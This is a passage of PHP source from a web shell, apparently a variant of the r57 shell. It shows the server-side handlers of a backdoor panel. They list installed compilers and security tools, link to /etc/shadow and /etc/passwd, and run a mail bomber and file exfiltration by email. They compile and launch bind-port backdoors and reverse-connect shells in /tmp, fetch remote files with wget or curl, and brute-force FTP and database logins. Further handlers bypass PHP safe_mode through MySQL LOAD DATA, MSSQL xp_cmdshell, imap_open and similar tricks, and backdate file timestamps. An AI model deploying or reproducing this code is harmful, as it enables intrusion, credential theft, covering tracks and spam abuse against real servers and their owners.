1663if (!$all) {$all = 0;}
1664echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
1665
1666$ust='';
1667if($unix && !$safe_mode){
1668if (which('gcc')) {$ust.="gcc,";}
1669if (which('cc')) {$ust.="cc,";}
1670if (which('nano')) {$ust.="nano,";}
1671if (which('pico')) {$ust.="pico,";}
1672if (which('ld')) {$ust.="ld,";}
1673if (which('php')) {$ust.="php,";}
1674if (which('perl')) {$ust.="perl,";}
1675if (which('python')) {$ust.="python,";}
1676if (which('ruby')) {$ust.="ruby,";}
1677if (which('make')) {$ust.="make,";}
1678if (which('tar')) {$ust.="tar,";}
1679if (which('nc')) {$ust.="netcat,";}
1680if (which('locate')) {$ust.="locate,";}
1681if (which('suidperl')) {$ust.="suidperl,";}
1682}
1683if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";}
1684#if (which('')) {$ust.=",";}
1685if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=067AFC>".$ust."</font>";}
1686
1687$ust='';
1688if($unix && !$safe_mode){
1689if (which('kav')) {$ust.="kav,";}
1690if (which('nod32')) {$ust.="nod32,";}
1691if (which('bdcored')) {$ust.="bitdefender,";}
1692if (which('uvscan')) {$ust.="mcafee,";}
1693if (which('sav')) {$ust.="symantec,";}
1694if (which('lynx')) {$ust.="lynx,";}
1695if (which('drwebd')) {$ust="drwebd,";}
1696if (which('clamd')) {$ust.="clamd,";}
1697if (which('rkhunter')) {$ust.="rkhunter,";}
1698if (which('chkrootkit')) {$ust.="chkrootkit,";}
1699if (which('iptables')) {$ust.="iptables,";}
1700if (which('ipfw')) {$ust.="ipfw,";}
1701if (which('tripwire')) {$ust.="tripwire,";}
1702if (which('shieldcc')) {$ust.="stackshield,";}
1703if (which('portsentry')) {$ust.="portsentry,";}
1704if (which('snort')) {$ust.="snort,";}
1705if (which('ossec')) {$ust.="ossec,";}
1706if (which('lidsadm')) {$ust.="lidsadm,";}
1707if (which('tcplodg')) {$ust.="tcplodg,";}
1708if (which('tripwire')) {$ust.="tripwire,";}
1709if (which('sxid')) {$ust.="sxid,";}
1710if (which('logcheck')) {$ust.="logcheck,";}
1711if (which('logwatch')) {$ust.="logwatch,";}
1712}
1713if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";}
1714if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";}
1715
1716
1717echo "<br>".ws(2)."</b>";
1718echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
1719echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>phpini</b></a> ".$rb;
1720echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
1721echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
1722if(!$unix) {
1723 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
1724}else{
1725 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
1726 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
1727 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
1728 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
1729
1730 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
1731}
1732echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
1733echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
1734
1735if($unix && !$safe_mode)
1736{
1737 echo "<br>".ws(2)."</b>";
1738 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
1739 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
1740 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
1741 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
1742 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
1743 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
1744 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
1745 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sbin title=\"View running programs\"><b>sbin</b></a> ".$rb;
1746 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
1747 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
1748 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
1749 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
1750 echo "<br>".ws(2)."</b>";
1751 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb;
1752 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who is online\"><b>who</b></a> ".$rb;
1753 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View server uptime\"><b>uptime</b></a> ".$rb;
1754 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
1755 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
1756 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb;
1757 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View network config\"><b>ifconfig</b></a> ".$rb;
1758 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
1759 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
1760 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
1761 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
1762 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?accounts title=\"accounts using the server\"><b>accounts</b></a> ".$rb;
1763}
1764
1765echo '</font></td></tr><table>
1766<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF>
1767<tr><td align=right width=100>';
1768echo $font;
1769
1770if($unix){
1771echo '<font color=067AFC><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
1772echo "</td><td>";
1773echo "<font face=Verdana size=-2 color=red><b>";
1774echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
1775echo ws(3).$sysctl."<br>";
1776echo ws(3).ex('echo $OSTYPE')."<br>";
1777echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
1778if(!empty($id)) { echo ws(3).$id."<br>"; }
1779else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
1780 {
1781 $euserinfo = @posix_getpwuid(@posix_geteuid());
1782 $egroupinfo = @posix_getgrgid(@posix_getegid());
1783 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
1784 }
1785else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
1786echo ws(3).$dir;
1787echo ws(3).'( '.perms(@fileperms($dir)).' )';
1788echo "</b></font>";
1789}
1790else
1791{
1792echo '<font color=067AFC><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
1793echo "</td><td>";
1794echo "<font face=Verdana size=-2 color=red><b>";
1795echo ws(3).@substr(@php_uname(),0,120)."<br>";
1796echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
1797echo ws(3).@getenv("USERNAME")."<br>";
1798echo ws(3).$dir;
1799echo "<br></font>";
1800}
1801echo "</font>";
1802echo "</td></tr></table>";
1803
1804if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
1805 {
1806 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
1807 err(6+$res);
1808 $_POST['cmd']="";
1809 }
1810if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
1811 {
1812 if($file=@fopen($_POST['loc_file'],"r")){ $filedump = @fread($file,@filesize($_POST['loc_file'])); @fclose($file); }
1813 else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
1814 if(isset($_POST['cmd']))
1815 {
1816 $filename = @basename($_POST['loc_file']);
1817 $content_encoding=$mime_type='';
1818 compress($filename,$filedump,$_POST['compress']);
1819 $attach = array(
1820 "name"=>$filename,
1821 "type"=>$mime_type,
1822 "content"=>$filedump
1823 );
1824 if(empty($_POST['subj'])) { $_POST['subj'] = 'You got a file from v4 Team'; }
1825 if(empty($_POST['from'])) { $_POST['from'] = 'hmb@gov.sd'; }
1826 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
1827 err(6+$res);
1828 $_POST['cmd']="";
1829 }
1830 }
1831if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
1832 {
1833 for($h=1;$h<=$_POST['mail_flood'];$h++){
1834 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
1835 }
1836 err(6+$res);
1837 $_POST['cmd']="";
1838 }
1839if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
1840{
1841$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
1842}
1843if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
1844 {
1845 switch($_POST['what'])
1846 {
1847 case 'own':
1848 @chown($_POST['param1'],$_POST['param2']);
1849 break;
1850 case 'grp':
1851 @chgrp($_POST['param1'],$_POST['param2']);
1852 break;
1853 case 'mod':
1854 @chmod($_POST['param1'],intval($_POST['param2'], 8));
1855 break;
1856 }
1857 $_POST['cmd']="";
1858 }
1859if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
1860 {
1861 switch($_POST['what'])
1862 {
1863 case 'file':
1864 if($_POST['action'] == "create")
1865 {
1866 if(@file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
1867 else {
1868 @fclose($file);
1869 $_POST['e_name'] = $_POST['mk_name'];
1870 $_POST['cmd']="edit_file";
1871 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
1872 }
1873 }
1874 else if($_POST['action'] == "delete")
1875 {
1876 if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
1877 $_POST['cmd']="";
1878 }
1879 break;
1880 case 'dir':
1881 if($_POST['action'] == "create"){
1882 if(@mkdir($_POST['mk_name']))
1883 {
1884 $_POST['cmd']="";
1885 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
1886 }
1887 else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
1888 }
1889 else if($_POST['action'] == "delete"){
1890 if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
1891 $_POST['cmd']="";
1892 }
1893 break;
1894 }
1895 }
1896
1897
1898if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
1899{
1900if(!$_POST['file_name_r'])
1901 {
1902 $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
1903 $datar = @strtotime($datar);
1904 @touch($_POST['file_name'],$datar,$datar);}
1905else{
1906 @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
1907}
1908$_POST['cmd']="";
1909}
1910
1911
1912if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
1913 {
1914 if(!$file=@fopen($_POST['e_name'],"r+")) { $filedump = @fread($file,@filesize($_POST['e_name'])); @fclose($file); $only_read = 1; }
1915 if($file=@fopen($_POST['e_name'],"r")) { $filedump = @fread($file,@filesize($_POST['e_name'])); @fclose($file); }
1916 else if ($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
1917 if(isset($_POST['cmd']))
1918 {
1919 echo $table_up3;
1920 echo $font;
1921 echo "<form name=save_file method=post>";
1922 echo ws(3)."<b>".$_POST['e_name']."</b>";
1923 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
1924 echo @htmlspecialchars($filedump);
1925 echo "</textarea>";
1926 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
1927 echo "<input type=hidden name=dir value=".$dir.">";
1928 echo "<input type=hidden name=cmd value=save_file>";
1929 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
1930 echo "</div>";
1931 echo "</font>";
1932 echo "</form>";
1933 echo "</td></tr></table>";
1934 exit();
1935 }
1936 }
1937if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
1938 {
1939 $mtime = @filemtime($_POST['e_name']);
1940 if((!$file=@fopen($_POST['e_name'],"w")) && (!function_exists('file_put_contents'))) { err(0,$_POST['e_name']); }
1941 else {
1942 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
1943 @fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']);
1944 @touch($_POST['e_name'],$mtime,$mtime);
1945 $_POST['cmd']="";
1946 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
1947 }
1948 }
1949
1950
1951if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
1952{
1953 cf("/tmp/prxpl",$prx_pl);
1954 $p2=which("perl");
1955 $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
1956 $_POST['cmd']="ps -aux | grep prxpl";
1957}
1958if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
1959{
1960 cf("/tmp/bd.c",$port_bind_bd_c);
1961 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
1962 @unlink("/tmp/bd.c");
1963 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
1964 $_POST['cmd']="ps -aux | grep bd";
1965}
1966if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
1967{
1968 cf("/tmp/bdpl",$port_bind_bd_pl);
1969 $p2=which("perl");
1970 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
1971 $_POST['cmd']="ps -aux | grep bdpl";
1972}
1973if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
1974{
1975 cf("/tmp/back",$back_connect);
1976 $p2=which("perl");
1977 $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
1978 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
1979}
1980if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
1981{
1982 cf("/tmp/back.c",$back_connect_c);
1983 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
1984 @unlink("/tmp/back.c");
1985 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
1986 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
1987}
1988if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
1989{
1990 cf("/tmp/dp",$datapipe_pl);
1991 $p2=which("perl");
1992 $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
1993 $_POST['cmd']="ps -aux | grep dp";
1994}
1995if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
1996{
1997 cf("/tmp/dpc.c",$datapipe_c);
1998 $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
1999 @unlink("/tmp/dpc.c");
2000 $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
2001 $_POST['cmd']="ps -aux | grep dpc";
2002}
2003
2004if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
2005
2006for($upl=0;$upl<=16;$upl++)
2007{
2008 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
2009 if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
2010 else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
2011 @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
2012 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
2013 }
2014}
2015
2016if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
2017{
2018 switch($_POST['with'])
2019 {
2020 case 'fopen':
2021 $datafile = @implode("", @file($_POST['rem_file']));
2022 if($datafile)
2023 {
2024 $w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0);
2025 if($w_file)
2026 {
2027 @fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile);
2028 @fclose($w_file);
2029 }
2030 }
2031 $_POST['cmd'] = '';
2032 break;
2033 case 'wget':
2034 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
2035 break;
2036 case 'fetch':
2037 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
2038 break;
2039 case 'lynx':
2040 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2041 break;
2042 case 'links':
2043 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2044 break;
2045 case 'GET':
2046 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2047 break;
2048 case 'curl':
2049 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
2050 break;
2051 }
2052}
2053if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
2054 {
2055 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
2056 if(empty($ftp_port)) { $ftp_port = 21; }
2057 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
2058 if(!$connection) { err(3); }
2059 else
2060 {
2061 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
2062 else
2063 {
2064 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
2065 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
2066 }
2067 }
2068 @ftp_close($connection);
2069 $_POST['cmd'] = "";
2070 }
2071
2072if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
2073 {
2074 if($_POST['cmd']=="ftp_brute"){
2075 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
2076 if(empty($ftp_port)) { $ftp_port = 21; }
2077 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
2078 }else if($_POST['cmd']=="db_brute"){
2079 $connection = 1;
2080 }
2081 if(!$connection) { err(3); $_POST['cmd'] = ""; }
2082 else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
2083 else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
2084 if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
2085 }
2086
2087echo $table_up3;
2088if (empty($_POST['cmd']) && !$safe_mode && !$open_basedir) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
2089else if(empty($_POST['cmd']) && ($safe_mode || $open_basedir)){ $_POST['cmd']="safe_dir"; }
2090echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
2091if($safe_mode || $open_basedir)
2092{
2093 switch($_POST['cmd'])
2094 {
2095 case 'safe_dir':
2096 $d=@dir($dir);
2097 if ($d)
2098 {
2099 while (false!==($file=$d->read()))
2100 {
2101 if ($file=="." || $file=="..") continue;
2102 @clearstatcache();
2103 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
2104 if(!$unix){
2105 echo date("d.m.Y H:i",$mtime);
2106 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
2107 }
2108 else{
2109 if(@function_exists('posix_getpwuid')){
2110 $owner = @posix_getpwuid($uid);
2111 $grgid = @posix_getgrgid($gid);
2112 }else{$owner['name']=$grgid['name']='';}
2113 echo $inode." ";
2114 echo perms(@fileperms($file));
2115 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
2116 echo date("d.m.Y H:i ",$mtime);
2117 }
2118 echo "$file\n";
2119 }
2120 $d->close();
2121 }
2122 else if(@function_exists('glob'))
2123 {
2124 function eh($errno, $errstr, $errfile, $errline)
2125 {
2126 global $D, $c, $i;
2127 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
2128 if($o){ $D[$c] = $o[2]; $c++;}
2129 }
2130 $error_reporting = @ini_get('error_reporting');
2131 error_reporting(E_WARNING);
2132 @ini_set("display_errors", 1);
2133 $root = "/";
2134 if($dir) $root = $dir;
2135 $c = 0; $D = array();
2136 @set_error_handler("eh");
2137 $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
2138 for($i=0; $i < strlen($chars); $i++)
2139 {
2140 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
2141 $prevD = $D[count($D)-1];
2142 @glob($path."*");
2143 if($D[count($D)-1] != $prevD)
2144 {
2145 for($j=0; $j < strlen($chars); $j++)
2146 {
2147 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
2148 $prevD2 = $D[count($D)-1];
2149 @glob($path."*");
2150 if($D[count($D)-1] != $prevD2)
2151 {
2152 for($p=0; $p < strlen($chars); $p++)
2153 {
2154 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
2155 $prevD3 = $D[count($D)-1];
2156 @glob($path."*");
2157 if($D[count($D)-1] != $prevD3)
2158 {
2159 for($r=0; $r < strlen($chars); $r++)
2160 {
2161 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
2162 @glob($path."*");
2163 }
2164 }
2165 }
2166 }
2167 }
2168 }
2169 }
2170 $D = array_unique($D);
2171 foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
2172 error_reporting($error_reporting);
2173 }
2174 else echo $lang[$language.'_text29'];
2175 break;
2176 case 'test1':
2177 $ci = @curl_init("file://".$_POST['test1_file']);
2178 $cf = @curl_exec($ci);
2179 echo htmlspecialchars($cf);
2180 break;
2181 case 'test2':
2182 @include($_POST['test2_file']);
2183 break;
2184 case 'test3':
2185 if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
2186 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
2187 if($db)
2188 {
2189 if(@mysql_select_db($_POST['test3_md'],$db))
2190 {
2191 @mysql_query("DROP TABLE IF EXISTS temp_hmb57_table");
2192 @mysql_query("CREATE TABLE `temp_hmb57_table` ( `file` LONGBLOB NOT NULL )");
2193 @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_hmb57_table");
2194 $r = @mysql_query("SELECT * FROM temp_hmb57_table");
2195 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
2196 @mysql_query("DROP TABLE IF EXISTS temp_hmb57_table");
2197 }
2198 else echo "[-] ERROR! Can't select database";
2199 @mysql_close($db);
2200 }
2201 else echo "[-] ERROR! Can't connect to mysql server";
2202 break;
2203 case 'test4':
2204 if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
2205 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
2206 if($db)
2207 {
2208 if(@mssql_select_db($_POST['test4_md'],$db))
2209 {
2210 @mssql_query("drop table hmb57_temp_table",$db);
2211 @mssql_query("create table hmb57_temp_table ( string VARCHAR (500) NULL)",$db);
2212 @mssql_query("insert into hmb57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
2213 $res = mssql_query("select * from hmb57_temp_table",$db);
2214 while(($row=@mssql_fetch_row($res)))
2215 {
2216 echo htmlspecialchars($row[0])."\r\n";
2217 }
2218 @mssql_query("drop table hmb57_temp_table",$db);
2219 }
2220 else echo "[-] ERROR! Can't select database";
2221 @mssql_close($db);
2222 }
2223 else echo "[-] ERROR! Can't connect to MSSQL server";
2224 break;
2225 case 'test5':
2226 $temp=tempnam($dir, "fname");
2227 if (@file_exists($temp)) @unlink($temp);
2228 $extra = "-C ".$_POST['test5_file']." -X $temp";
2229 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
2230 $str = moreread($temp);
2231 echo htmlspecialchars($str);
2232 @unlink($temp);
2233 break;
2234 case 'test6':
2235 $stream = @imap_open('/etc/passwd', "", "");
2236 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
2237 for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
2238 @imap_close($stream);
2239 break;
2240 case 'test7':
2241 $stream = @imap_open($_POST['test7_file'], "", "");
